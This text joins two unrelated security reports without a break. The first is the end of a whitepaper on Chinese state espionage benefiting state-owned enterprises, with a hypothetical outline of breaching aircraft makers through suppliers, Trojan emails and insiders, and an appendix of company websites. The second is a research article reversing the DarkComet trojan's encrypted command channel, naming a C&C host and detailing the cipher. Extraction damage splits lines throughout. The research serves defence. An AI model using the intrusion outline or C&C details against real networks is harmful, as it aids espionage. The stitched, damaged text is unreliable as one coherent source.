Which +companies receive this kind of assistance? The answer may lie in the particular brand of +capitalism which China +practices. +China is no longer the +planned economy it once +was and some Chinese +companies are now among +the largest in the world. But +this is not capitalism as we +know it and these companies +are far from being truly +private +. All the largest +companies in China are State +Owned Enterprises (SOEs) in +which the state is the largest +(or only) shareholder. The +state can and does change company board members at will and members of the armed +forces are routinely brought into senior management roles. But in addition to simply +appointing the heads of companies, the Party also has a final say over the strategic +direction of each company, business planning processes and the size of salaries paid to +employees. After all, if companies are seen to be profiting unfairly at the expense of the +workers that could lead to political unrest. +There are currently 117 companies classed as SOEs and under the control of the Stateowned Assets Supervision and Administration Commission (SASAC), the primary shareholder +in these companies. To give some idea of the scale of SOEs, they now comprise 80% of the +value of China +s stock market. Yet in the last 10 years, the number of SOEs has almost halved +as SASAC has pushed through mergers of companies with similar strengths to consolidate +the overall power of these companies in various sectors and make them more competitive +outside China. SASAC works alongside the Communist Party +s Organisation Department, +which acts as a human resources department and makes certain that those running these +businesses care every bit as much (if not more) about pleasing Party bosses as they do +about their success in business. +In addition to the Party +s input to the strategies pursued by these companies, the state is also +instrumental in guiding them to financial success by other means. Most significantly it +arranges cheap lines of credit, allowing companies to borrow money for expansion; and +provides a ready-made market for the company + the Party has the ability to block +competitors from any industry or to introduce policies which make competitors more +expensive. The state can also provide considerable human resources if a particular +company or industry needs to increase production suddenly: large pools of labour in China +work for the state rather than companies and so form a mobile and flexible workforce. But if +at the end of the day the products or services a company offers are outdated or of poor +quality, that company will fail. The Party has a vested interest in every SOE performing well +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +18 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +and becoming a national or global champion in its sector, so it may be willing to extend +help through the leveraging of intelligence sources. Note the list of companies and sectors +in Appendix A: it is clear that the companies on the list all have interests in areas which will +support the Five Year Plan and Indigenous Innovation. +Hypothetical Case Study: Aircraft Construction +One good example of how the Party could use its intelligence collection methods to benefit +an SOE is seen in the case of COMAC16, the Commercial Aircraft Corporation of China. +COMAC is currently trying to build a large aircraft to compete with the likes of Boeing and +Airbus. In an excellent in-depth paper on Indigenous Innovation17, the US Chamber of +Commerce and strategic consulting firm ACPO Worldwide18 detail the desire of China to +build an aircraft since the crash (and subsequent re-engineering) of a Pakistan Airlines +Boeing 707 in 1971. The re-engineered plane named the Yun-10 was a complete failure as +China did not at that time possess all the necessary technology required to make it a +success. +With a rise in the use of air transport within China, domestic carriers are being forced to buy +foreign aircraft at enormous cost, whereas a home-grown aircraft could be sold much more +cheaply. The COMAC C91919 is designed to rival the Boeing 737 and Airbus A320 and +planned to be operating by 2015, and to encourage foreign companies to share their +technology, China has promised access to the market. Companies including Parker +Aerospace, General Electric, Honeywell and Goodrich have all signed up. Whether they +benefit from this move in the long term, or are instead encouraged to leave once they have +been bled dry of useful information, remains to be seen. But for all the help they are getting, +Chinese engineers are not yet able to access the technology developed by Boeing and +Airbus, or by large aeroplane engine suppliers such as Rolls Royce. +We know therefore that there is intent to build a domestic airliner and that previously reengineering has been attempted. Technology transfer is ongoing at the moment, but how +(hypothetically) could computer network exploitation attacks help China achieve its goal? +It is hard to imagine that a project of that size would not be given some assistance by the +government, given that there is national pride at stake. If intelligence or military resources +could be directed against Boeing and Airbus networks there would be some very quick wins. +Not only could design documents and technical information be stolen en masse and +without the need to actually deal with the company, but there could be some weak links in +the supply chains of these companies which would help an attacker to penetrate their +networks. +First, smaller suppliers would provide an easy target from where attacks could be launched +directly, spoofing emails with Trojans to improve the chance of recipients opening them. +Second, both companies have facilities in China, presumably with network connectivity +which may provide a direct route into the main network. There are also Chinese citizens +working for the two target organisations who could be tasked to download something +nefarious or plug in a USB drive to help their country. +16 http://english.comac.cc/ +17 http://www.uschamber.com/sites/default/files/reports/100728chinareport_0.pdf +18 http://www.apcoworldwide.com/ +19 http://en.wikipedia.org/wiki/Comac_C919 +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +19 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Finally all large organisations share large amounts of their data with third parties such as law +firms and consultants; companies that may not protect their networks as effectively as the +target company. These +data aggregators + can present a major vulnerability in the security +of sensitive data. +The end goal of the project is to sell the aircraft worldwide and to undercut the established +suppliers. COMAC could achieve this by using lines of credit at favourable rates from the +Chinese banks that would help to make deals cheaper for airlines purchasing aircraft. But +what really helps these companies undercut foreign rivals is that they have not needed to +spend huge amounts of money on R&D to get the plane off the ground in the first place. +If designs for the body of the aircraft could be stolen along with aerodynamic information it +would cut development time by years; and by billions of dollars. If stolen engine designs +were also used that would cut costs further still. Even if the companies from whom this +technology had been stolen were able to see that it had been stolen, they would only be +able to take limited action in response; and to do so could put at risk their continued ability +to operate or sell in China. +The list of SOEs in +Appendix A + is dominated by transport companies (rail, aerospace and +shipping), energy (petrochemical, nuclear, power generation/distribution, hydro), telecoms +(mobile, infrastructure), manufacturing, extraction/metals (coal, iron, steel, minerals, +aluminium) and trading companies. If a company has been targeted by Chinese state +sponsored cyber espionage, we believe that any information stolen probably ends up in +one of these SOEs. While China is able to manipulate market conditions in various ways to +help SOEs prosper, nothing would contribute more to their growth and success than a supply +of inside information about the activities of their competitors and customers. +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +20 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Conclusion +This situation has not developed overnight. These attacks have been going on for years: +many reports detail intrusions going back to 2003 and earlier. It is quite possible that the +targets of early attacks were merely foreign governments and dissidents and that the range +of targets only broadened with the opening of the Chinese economy and an increased +demand for intelligence to support business growth and projects of national importance. +The more success the attackers had, the more that demand grew. While China continues to +carry out cyber attacks on companies throughout the rest of the world and these attacks +continue either unnoticed or unpunished, there is no incentive for China to stop. The more +that stolen data is exploited for the benefit of companies and the government, the greater +the incentive to continue with these operations. +Governments and large companies do not appear to be making much headway in solving +this problem. For large corporations in the West, where there is a tendency to focus more on +the short term and on personal achievement rather than the long term advancement of the +state, the potential riches which trade with China offers are so large that turning a blind eye +to data theft may seem a reasonable price to pay. Governments dare not risk isolation from +China for economic and political reasons. Norway has recently been shut out of Chinese +relations after awarding the Nobel Peace Prize to a jailed Chinese dissident Liu Xiaobo20. Its +trade links with China are minimal, so it can afford to do this, but few other countries would +feel able to do the same. A combination of this reluctance to act, chronic under-investment +in IT and a lack of user education about how to spot the warning signs of a potential attack +means companies and organisations are extremely vulnerable. +In order to start rectifying the problem there is a need in the first instance to understand the +problem. There needs to be an acceptance that this problem is not going to go away, that +this is a business risk not at IT issue. Doing business with China carries extra risk in terms of data +security and traditional security products are unable to defend your data against this type +of attack. Investigation of compromises needs to be thorough and conducted by people +familiar with this problem and not simply the technical aspects of it. Above all sensitive data +must be segregated + it is not possible to defend everything. +The reason targeted attacks pose such a dangerous threat is that these are not viruses +which simply spread and act according to a set of defined rules in the software. There are +human beings directing these attacks in a much more active way. They have been given +specific duties and will not stop what they are doing until someone tells them to do so. +If your data is of interest today, it will still be of interest tomorrow. If you have been attacked +once and somehow managed to stop it, you have only stopped one instance of the attack, +not the attack as a whole. The malware used simply provides a foothold in the network, an +initial point of access through which other tools can be uploaded to allow attackers access +over the longer term, to navigate through the network until they find the data of interest to +them. If one technique doesn +t work, they will adapt their methods and raise their game +until they have success. +It may be that one day western governments will decide that +if you can +t beat them, join +them + and develop similar capabilities to be used against foreign governments and +20 http://www.bbc.co.uk/news/world-asia-pacific-11505164 +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +21 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +companies. We can only speculate as to how China might react to the large-scale +targeting of its own companies and institutions. As for now, we have limited evidence of +large companies failing as a direct result of the attacks, though there seems to be +consensus that Chinese intrusions at least contributed to the downfall of one time telecoms +giant Nortel21. We do not yet know how many others may follow. +21 http://www.cbc.ca/news/world/story/2012/02/15/nortel-hacking-shields-as-it- +happens.html +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +22 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +About Context +Context Information Security is an independent security consultancy specialising in both +technical security and information assurance services. +The company was founded in 1998. Its client base has grown steadily over the years, thanks +in large part to personal recommendations from existing clients who value us as business +partners. We believe our success is based on the value our clients place on our productagnostic, holistic approach; the way we work closely with them to develop a tailored +service; and to the independence, integrity and technical skills of our consultants. +Context are ideally placed to work with clients worldwide with offices in the UK, Australia +and Germany. +The company +s client base now includes some of the most prestigious blue chip companies +in the world, as well as government organisations. +The best security experts need to bring a broad portfolio of skills to the job, so Context has +always sought to recruit staff with extensive business experience as well as technical +expertise. Our aim is to provide effective and practical solutions, advice and support: when +we report back to clients we always communicate our findings and recommendations in +plain terms at a business level as well as in the form of an in-depth technical report. +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +23 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Appendix +Company Name +Website +China National +Nuclear +Corporation +http://www.cnnc.com.cn +China Nuclear +Engineering Group +Corporation +http://www.cnecc.com +China Aerospace +Science and +Technology +Corporation +http://www.spacechina.com +China Aerospace +Science and +Industry +Corporation +http://www.casic.com.cn +Aviation Industry +Corporation of +China +http://www.avic.com.cn +China State +Shipbuilding +Corporation +http://www.cssc.net.cn +China Shipbuilding +Industry +Corporation +http://www.csic.com.cn +China North +Industries Group +Corporation +http://www.norincogroup.com.cn +China South +Industries Group +Corporation +http://www.csgc.com.cn +China Electronics +Technology Group +Corporation +http://www.cetc.com.cn +China National +Petroleum +Corporation +http://www.cnpc.com.cn/cn +China +Petrochemical +Corporation +http://www.sinopecgroup.c +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +24 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Company Name +Website +China National +Offshore Oil +Corporation +http://www.cnooc.com.cn +State Grid +Corporation of +China +http://www.sgcc.com.cn +China Southern +Power Grid Co., Ltd. +http://www.csg.cn +China Huaneng +Group +http://www.chng.com.cn +China Datang +Corporation +http://www.china-cdt.com +China Huadian +Corporation +http://www.chd.com.cn +China Guodian +Corporation +http://www.cgdc.com.cn +China Power +Investment +Corporation +http://www.cpicorp.com.cn +China Three Gorges +Corporation +http://www.ctgpc.com.cn/ +Shenhua Group +Corporation Limited +http://www.shenhuagroup.com.cn +China +Telecommunication +s Corporation +http://www.chinatelecom.com.cn +China United +Network +Communications +Group Co., Ltd. +http://www.chinaunicom.com.cn +China Mobile +Communications +Corporation +http://www.10086.cn +China Electronics +Corporation +http://www.cec.com.cn +China FAW Group +Corporation +http://www.faw.com.cn +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +25 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Company Name +Website +Dongfeng Motor +Corporation +http://www.dfmc.com.cn +China First Heavy +Industries +http://www.cfhi.com +China National +Erzhong Group Co. +http://www.chinaerzhong.com +Harbin Electric +Corporation +http://www.hpec.com +Dongfang Electric +Corporation +http://www.dongfang.com +Anshan Iron and +Steel Group +Corporation +http://www.ansteelgroup.com +Baosteel Group +Corporation +http://www.baosteel.com +Wuhan Iron and +Steel (Group) +Corporation +http://www.wisco.com.cn +Aluminum +Corporation of +China +http://www.chalco.com.cn +China Ocean +Shipping (Group) +Company +http://www.cosco.com +China Shipping +(Group) Company +http://www.cnshipping.com +China National +Aviation Holding +Company +http://www.airchinagroup.com +China Eastern Air +Holding Company +http://www.ceair.com +China Southern Air +Holding Company +http://www.csair.cn +Sinochem Group +http://www.sinochem.com +COFCO Limited +http://www.cofco.com +China Minmetals +Corporation +http://www.minmetals.com.cn +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +26 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Company Name +Website +China General +Technology +(Group) Holding, +Limited +http://www.genertec.com.cn +China State +Construction +Engineering +Corporation +http://www.cscec.com +China Grain +Reserves +Corporation +http://www.sinograin.com.cn +State Development +& Investment Corp. +http://www.sdic.com.cn +China Merchants +Group +http://www.cmhk.com +China Resources +http://www.crc.com.hk +China National +Travel Service (HK) +Group Corporation +[China Travel +Service (Holdings) +Hong Kong Limited] +http://www.hkcts.com +State Nuclear +Power Technology +Corporation Ltd. +http://www.snptc.com.cn +Commercial +Aircraft Corporation +of China, Ltd. +http://www.comac.cc +China Energy +Conservation and +Environmental +Protection Group +http://www.cecic.com.cn +China International +Engineering +Consulting +Corporation +http://www.ciecc.com.cn +China Huafu Trade +& Development +Group Corp. +http://www.hfjt.com.cn +China Chengtong +Holdings Group Ltd. +http://www.cctgroup.com.cn +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +27 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Company Name +Website +China National +Coal Group Corp. +http://www.chinacoal.com +China Coal +Technology & +Engineering Group +Corp. +http://www.ccteg.cn +China National +Machinery Industry +Corporation +http://www.sinomach.com.cn +China Academy of +Machinery Science +& Technology +http://www.cam.com.cn +Sinosteel +Corporation +http://www.sinosteel.com +China Metallurgical +Group Corporation +http://www.mcc.com.cn +China Iron & Steel +Research Institute +Group +http://www.cisri.com.cn +China National +Chemical +Corporation +http://www.chemchina.com +China National +Chemical +Engineering Group +Corporation +http://www.cncec.cn +Sinolight +Corporation +http://www.sinolight.cn +China National Arts +& Crafts (Group) +Corporation +http://www.cnacgc.com +China National Salt +Industry +Corporation +http://www.chinasalt.com.cn +Huacheng +Investment & +Management Co., +Ltd. +Unknown +China Hengtian +Group Co., Ltd. +http://www.chtgc.com +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +28 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Company Name +Website +China National +Materials Group +Corporation Ltd. +http://www.sinoma.cn +China National +Building Materials +Group Corporation +http://www.cnbm.com.cn +China Nonferrous +Metal Mining +(Group) Co., Ltd. +http://www.cnmc.com.cn +General Research +Institute for +Nonferrous Metals +http://www.grinm.com +Beijing General +Research Institute +of Mining & +Metallurgy +http://www.bgrimm.com +China International +Intellectech +Corporation +http://www.ciic.com.cn +China Academy of +Building Research +http://www.cabr.com.cn +China North +Locomotive and +Rolling Stock +Industry (Group) +Corporation +http://www.chinacnr.com +China South +Locomotive & +Rolling Stock +Corporation Limited +http://www.csrgc.com.cn +China Railway +Signal & +Communication +Corporation +http://www.crsc.cn +China Railway +Group Limited +http://www.crecg.com +China Railway +Construction +Corporation Limited +http://www.crcc.cn +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +29 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Company Name +Website +China +Communications +Construction +Company Limited +http://www.ccgrp.com.cn +Potevio Company +Limited +http://www.potevio.com +China Academy of +Telecommunication +and Technology +http://www.datanggroup.cn +China National +Agricultural +Development +Group Co., Ltd. +http://www.cnadc.com.cn +Chinatex +Corporation +http://www.chinatex.com +Sinotrans & CSC +Holdings Co., Ltd. +http://www.sinotrans-csc.com +China National Silk +Import & Export +Corporation +http://www.chinasilk.com +China Forestry +Group Corporation +http://www.cfgc.cn +China National +Pharmaceutical +Group Corporation +http://www.sinopharm.com +CITS Group +Corporation +http://www.citsgroup.com.cn +China Poly Group +Corporation +http://www.citsgroup.com.cn +Zhuhai ZhenRong +Company +http://www.zhzrgs.com.cn +China Architecture +Design & Research +Group +http://www.cadreg.com.cn +China Metallurgical +Geology Bureau +http://www.cmgb.com.cn +China National +Administration of +Coal Geology +http://www.ccgc.cn +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +30 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Company Name +Website +Xinxing Cathay +International Group +Co., Ltd. +http://www.xxcig.com +China Travelsky +Holding Company +http://www.travelskyholding +s.com +China National +Aviation Fuel Group +Corporation +http://www.cnaf.com +China Aviation +Supplies Holding +Company +http://www.casc.com.cn +Power Construction +Corporation of +China +http://www.zhongguodianjian.com +China Energy +Engineering Group +Co., Ltd +http://www.ceec.net.cn +China National +Gold Group +Corporation +http://www.chinagoldgroup.com +China National +Cotton Reserves +Corporation +http://www.cncrc.com.cn +China Printing +(Group) +Corporation +http://www.cpgc.cn +China Guangdong +Nuclear Power +Holding +Corporation Ltd. +http://www.cgnpc.com.cn +China Hualu Group +Co., Ltd. +http://www.hualu.com.cn +Alcatel-Lucent +Shanghai Bell Co., +Ltd. +http://www.alcatelsbell.com.cn +IRICO Group +Corporation +http://www.ch.com.cn +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +31 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Company Name +Website +Wuhan Research +Institute of Post and +Telecommunication +http://www.wri.com.cn +OCT Group +http://www.chinaoct.com +Nam Kwong +(Group) Company +Limited +http://www.namkwong.com +China XD Group +http://www.xd.com.cn +China Railway +Materials +Commercial Corp. +http://www.crmsc.com.cn +China Reform +Holdings +Corporation Ltd. +http://www.crhc.cn/n127514 +92/index.html +Context Information Security +30 Marsh Wall, London, E14 9TP ++44 (0) 207 537 7515 +www.contextis.com +32 / 33 +Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data +Context Information Security Ltd +London +(HQ) +Cheltenham +sseldorf +Melbourne +4th Floor +Corinth House +Adersstr. 28, 1.OG +Level 9, 440 Collins St +30 Marsh Wall +117 Bath Road +D-40215 D +sseldorf +Melbourne +London E14 9TP +Cheltenham GL53 7LS +Germany +Victoria 3000 +United Kingdom +United Kingdom +Context Information Security +30 Marsh Wall, London, E14 9TP +Australia ++44 (0) 207 537 7515 +www.contextis.com +33 / 33 +It's not the end of the world: DarkComet misses by a mile +Reversing the DarkComet RAT's crypto- 3/13/2012 +Jeff Edwards, Research Analyst, Arbor Networks ASERT +In this article, we will continue our series on reversing DDoS malware crypto systems. Previous subjects have included +Armageddon, Khan (now believed to be a very close "cousin" of Dirt Jumper version 5), and PonyDOS. Today we'll be +diving deep into the details of DarkComet's crypto. Over the last several months, we have encountered a large number of +DarkComet samples, numbering well over a thousand. DarkComet is primarily a general purpose remote access trojan +(RAT). It's capabilities support quite an extensive laundry list of mischief, including but not limited to key logging, web +cam (and sound card) spying, deleting victim files, scanning ports, hijacking MSN sessions, etc. +Figure 1. Dark Comet's pretty logo +Of course the malware includes DDoS capabilities as well - hence our interest in reversing its communications so that we +can keep tabs on whom the DarkComet botnets are attacking. In fact, it is believed to have been used as a DDoS weapon +by supporters of the Syrian regime against opposition forces in the recent Syrian uprisings; TrendMicro has a nice article +/on this topic. +DarkComet has been studied by a number of researchers. In particular, in November 2011 Laura Aylward of Contextis +published an excellent analysis [http://www.contextis.com/research/blog/darkcometrat/ ] of Dark Comet in which she +described the basic cryptographic mechanism used by DarkComet bots to hide their communications; Laura's analysis +saved us a considerable amount of time. It was also included in Curt Wilson's recent survey of modern DDoS weapons . +The DarkComet sample upon which we will primarily focus on today is 462,848 bytes in size and has an MD5 hash of +63f2ed5d2ee50e90cda809f2ac740244. It happens to be an instance of DarkComet Version 4.2; however, the +results presented here apply to most other versions of DarkComet as well. +When executed in a sandbox, we observed it connecting to a command & control (C&C) server at newrat2.noip.org on TCP port 1604. The RAT uses a raw TCP protocol to exchange information with its C&C; on the wire, the +comms look something like this (modified and re-encrypted to protect some of our sensitive sandbox information): +C&C: +155CAD31A61F +Bot: +0F5DAB3EB308 +C&C: +1B7D8D3BBF14C6B619480C265C2F4664F9DCB878EA7DFC6F2637 +Bot: +35769F079329B4E04603496A432E5A7CFC90A477F478F07A3826A1B436AB92852B685636 +F72B52C56D70434D7691F3307D637118B869586A1D19FD15B8C6AE14F8F8C57EFAFCCC09 +964E8EE8EED553886AB188665F1AB96586F4F2581C093E75DCF2A8ADC817558BF3452344 +0CDBE43CA4C05AC6E8D90D00F35BE795A44AE0E2EDE36C061EAEBD754461F680DBD9893A +CF6211698AF22B0BBB92A9B47363AE86E69A08C29DD3DBA59D287E4A0E12664B312A81C0 +E9FE4D6E538AB5CC8952CCB372869F57D168CE8ABB52B8D7F8E78547A5EB009931735868 +Arbor Networks | 2 +ADEC6BA2B73A94C7A9A6784B1A81C58CF746D384B645DD02D4616479A055420DADEF0458 +658A33EEA62BF7F12ABF1C0E00CB6B971869FBC275A3270E8DEBFA20E53E8C3BC6CA2744 +A88897E0B16FBBDCAA731B93A72D75FF6DC297 +Bot: +KEEPALIVE144357 +Bot: +C: KEEPALIVE160360 +C&C: +S: KeepAlive|27120274 +Bot: +C: KEEPALIVE176363 +Bot: +C: KEEPALIVE192366 +C&C: +S: KeepAlive|27160288 +Figure 2. Example of DarkComet's encrypted comms +These communications are consistent with those reported by Contextis in their DarkComet report. It certainly looks like an +initial "phone home" exchange of information, after which the bot and C&C send periodic "Keep Alive" messages to each +other. Besides being encrypted, this protocol is somewhat unusual in that the C&C sends the first payload; it is much more +common for the bot to send the first payload. +So in order to develop a tracker that impersonates a DarkComet bot so as to snoop on DDoS attacks, we need to reverse the +malware's crypto system and write decryption and encryption routines in Python. Let's start reversing by loading a process +memory dump of the running bot in IDA Pro. We'll then start poking around looking for routines that might implement the +phone home protocol. Since DarkComet clearly uses raw TCP for communication (as opposed to, say, HTTP), we'll focus +on finding WinSock2 calls such as socket(), connect(), send(), and recv(). +Well, it turns out that the bot is riddled with vast numbers of WinSock2 calls; not surprising, since DarkComet has a great +deal of RAT functions that require network communication. So to narrow down on the actual bot-C&C comms loop, we +Arbor Networks | 3 +locate the lengthy list of command strings, such as KeylogOn, GetOfflineLogs, WEBCAMLIVE, GetMsnList, +DDOSHTTPFLOOD, etc. In particular, we note that all these command strings are referenced from the same function. +Furthermore, this function is structured as a very long sequence of if-else statements that compare each of these +command strings against the same buffer. Even better, there is only a single caller of this function. Hmmm, that certainly +sounds like the bot's primary command dispatch routine; we'll call it DispatchCommands_sub_493DAC(). +Checking out the caller function, we see that it operates in a loop. On each iteration through the loop, it basically performs +the following actions: +1. Calls recv() to read network traffic into a buffer; +2. Performs some copies and operations on this buffer to produce an intermediate buffer; +3. Performs an operation (decryption perhaps?) on the intermediate buffer and a global string to produce a final buffer; +3. Passes the final buffer to the aforementioned DispatchCommands_sub_493DAC() function; +Yes, this sounds like the main comms loop for which we are looking; we'll name this caller function +MainCommsLoop_sub_493A30(), and focus our attention on the aforementioned loop: +Arbor Networks | 4 +Arbor Networks | 5 +Figure 3. Function MainCommsLoop_sub_493A30() +It definitely looks like a great candidate for the decryption operation. It follows the general structure that is quite common +among bot families that encrypt their comms; namely, a pre-processing operation applied to a buffer, followed by the +actual decryption step. In particular, one strong clue is that the (assumed) decryption step takes a third argument which, in +this case, is a reference to a global string - very likely to be the decryption key string! +So first let's see what our (tentatively named) DecryptCommandBuffer_sub_44C628() function looks like. +DarkComet being a Delphi-based bot, the decryption function is passed the source (encrypted) buffer in EAX, the +(presumed) crypto key in EDX, and an output string buffer in ECX. After checking to make sure neither the source nor key +strings are empty, the function gets down to business. The first substantive operation is to pass the raw (encrypted) source +buffer src_buf_var_4 via EAX, along with an output buffer temp_buf_var_420 via EDX, to function +sub_44C1C0(); the output buffer is then copied back into the original source buffer src_buf_var_4: +Figure 4. Function DecryptCommandBuffer_sub_44C628() +Arbor Networks | 6 +So sub_44C1C0() seems like it might be doing some pre-processing on the encrypted source buffer; let's see what kind +of pre-processing it is doing. Skipping past the obligatory checks for empty source buffers, etc., we arrive at some code +that loops over the source buffer, referenced by src_buf_var_4; however, it makes only one loop iteration for every +two bytes in src_buf_var_4. This is accomplished by extracting the DWORD just in front of the source string and +shifting it one bit to the right, in order to calculate the number of pairs of source characters: +Figure 5. Function PreProcess_sub_44C1C0() +Arbor Networks | 7 +This works because in Delphi, the AnsiString class stores its length at an offset of 4 bytes in front of the first actual +byte of string content: +Figure 6. Structure of a Delphi AnsiString +For example, in the case of the initial encrypted payload received by the bot from the C&C, 155CAD31A61F , the length +of the source buffer is 12, so the code will make only 6 iterations through the loop. On each iteration of the loop, +DarkComet will process a pair of two source bytes to yield one output byte. +The first operation inside the loop is to test whether or not the value of the first source byte in the pair is greater than 0x39, +and branch accordingly. After using the one-based index EBX to pull out the first of the two source bytes in the pair, it adds +0xD0, subtracts 0x0A, and then tests whether the resulting value is greater than or equal to zero. Since it is operating on +the 8-bit register AL, the result is that source bytes with values of 0x3A or greater will be processed by one branch, and +those with values of 0x39 and less will be processed by a second branch: +Arbor Networks | 8 +Figure 7. Function PreProcess_sub_44C1C0() +If the first source byte in the pair has value 0x39 or less, the bot will subtract 0x30 from it and save the result to the +current index within the output buffer: +Arbor Networks | 9 +Figure 8. Function PreProcess_sub_44C1C0() +In other words, it will convert the ASCII representations (0x30, 0x31, ..., 0x39) of the digits 0 through 9 into their +equivalent integer representations (0x00, 0x01, ..., 0x09). +The second branch performs a similar operation: it first tests to make sure that the value of the source byte is not 0x47 or +greater (in which case it will immediately bail out of the loop and jump to the end of the PreProcess_sub_44C1C0() +function.) It will then subtract 0x37 from the source byte and save the result into the current index within the output +buffer: +Arbor Networks | 10 +Figure 9. Function PreProcess_sub_44C1C0() +Arbor Networks | 11 +In other words, it will convert the ASCII representations (0x41, 0x42, ..., 0x46) of the upper-case letters A through F +into their equivalent hexadecimal representations (0x0A, 0x0B, ..., 0x0F). +The two branches (for handling digits and upper-case A through F) will then re-join, and the resulting integer/hexadecimal +representation of the first source byte will be left-shifted by four (thus multiplying it by 16): +Figure 10. Function PreProcess_sub_44C1C0() +At this point, it is pretty clear what is going on. The PreProcess_sub_44C1C0() function is converting the ASCII +representation of the source string of bytes into the equivalent hexadecimal representation. This conjecture is confirmed +upon inspection of the remaining portion of the loop, which applies the same ASCII-to-hex operation on the second byte of +each pair of source bytes, and adds the result to the left-shifted output from the first byte of the pair. So at the end of the +day, the first line of raw encrypted source payload from the C&C is pre-processed from the 12-character ASCII string +155CAD31A61F to its equivalent sequence of six hexadecimal bytes 0x15 0x5C 0xAD 0x31 0xA6 0x1F, as follows: +src index +src (ASCII) +src (raw) +src (hex) +shifted +Arbor Networks | 12 +0x31 0x35 0x35 0x43 0x41 0x44 0x33 0x31 0x41 0x36 0x31 0x46 +0x01 0x05 0x05 0x0C 0x0A 0x0D 0x03 0x01 0x0A 0x06 0x01 0x0F +0x10 +0x50 +0xA0 +0x30 +0xA0 +0x10 +0x15 +0x5C +0xAD +0x31 +0xA6 +0x1F +Figure 11. ASCII to Integer Conversion +So we will rename this function as Integerize_sub_44C1C0(), and head back to the main +DecryptCommandBuffer_sub_44C628() function to continue reversing the crypto algorithm. After the raw source +buffer has been converted from ASCII form to integer form, the next substantive code block initializes a 256-element +array stable_var_41C: +Arbor Networks | 13 +Figure 12. Function DecryptCommandBuffer_sub_44C628() +Each element in stable_var_41C is a 32-bit DWORD; the elements are initialized to the values 0x00000000 through +0x000000FF in ascending order: +Index ESI +Value subst_var_41C[ESI] +... 253 254 +0x00 0x01 0x02 0x03 0x04 ... 0xFD 0xFE 0xFF +Figure 13. Initial state of substitution table stable_var_41C +At this point, we can guess that stable_var_41C is going to play the role of a substitution table for decrypting the +source buffer src_buf_var_4, so let's see how DarkComet builds this table. +After initializing the substitution table to hold all the values between 0x00 and 0xFF in a nice ascending order, it +proceeds to vigorously scramble up the elements of the table. It makes 256 iterations through a loop; on each iteration, it +swaps the positions of two of the elements in the substitution table. On the kth iteration, one of the swapped elements is +always the kth element, which is pointed to by register ECX; the other is chosen based on the key string. The core of the +loop that scrambles up the substitution table is as follows: +Arbor Networks | 14 +Arbor Networks | 15 +Figure 14. Function DecryptCommandBuffer_sub_44C628() +The first code block in the above IDA listing chooses which element of stable_var_41C should be swapped with the +kth element. It uses an accumulator variable, implemented by register EBX and initialized to zero. On each pass through +the loop, it updates the acccumulator EBX by adding to it the value of the kth element of stable_var_41C and the value +of the current key string byte. One byte of key string is used per iteration, and whenever the key string is "used up", it +restarts again at the beginning of the key; register EDI holds the length of the key string, so the bot just computes k +modulo EDI (at instruction 0x0044C767) to choose which byte of the key to use on the kth iteration. +The last code block performs the actual swapping, using swap_temp_var_15 as the temporary variable to do the swap. +Once 256 such swaps have been performed, the loop exits and the substitution table stable_var_41C has been nicely +scrambled and is ready for use. +At this point, the actual process of decryption is performed. DarkComet iterates through its decryption loop once for each +byte in the encrypted source message (after conversion from ASCII to integer representation.) The decryption loop +performs the following two steps: +First, it performs an additional scrambling operation on the substitution table stable_var_41C by swapping two +elements. When processing the kth source byte, the first element of the swap pair is always the k+1th element of table +stable_var_41C; it uses another accumulator variable, implemented by register EDI, to choose the second element of +the swap pair: +Arbor Networks | 16 +Arbor Networks | 17 +Figure 15. Function DecryptCommandBuffer_sub_44C628() +After performing this swap operation, DarkComet finally decrypts a byte of message. It sums up the values of the two +swapped elements (at instruction 0x0044C85F), then uses the result (modulo 256) to re-index into the +stable_var_41C table to pull out a third element (at instruction 0x0044C874). This third element is XORed against +the current (kth) source byte to produced a decrypted character. +It should be pointed out that conceptually, this decryption mechanism - both the manner in which the substitution table is +built, as well as how it is used for XOR-based decryption - is very similar to that used by the Trojan.PonyDOS malware +family. The actual implementation has quite a few differences, but the basic encryption algorithm is the same. +Trojan.PonyDOS, however, adds a few additional layers to secure its communications protocol above and beyond the core +crypto algorithm which it shares with DarkComet; specifically, the computation of some cryptographic hashes. Also, +Trojan.PonyDOS does not go to the trouble of converting its encrypted data payloads into ASCII 